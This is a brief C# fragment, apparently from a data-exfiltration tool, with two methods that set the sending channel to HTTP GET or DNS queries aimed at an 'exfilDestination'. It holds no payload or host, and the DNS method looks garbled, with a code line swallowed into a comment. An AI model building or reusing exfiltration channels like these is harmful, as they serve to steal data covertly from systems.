private void SetMethodToHttpGet(Options opts = Options.NONE) { if (!HTTPUtils.ValidateURL(exfilDestination)) { throw new System.Web.HttpException(); } else { sender = new HttpGetSender(); } }
private void SetMethodToDnsQuery(Options opts = Options.NONE) { IPAddress.Parse(exfilDestination); //thorw error if no good exfilDestination = HTTPUtils.GetDomainFromURL(exfilDestination); sender = new DnsSender(DNS_EXFIL_DOMAIN); }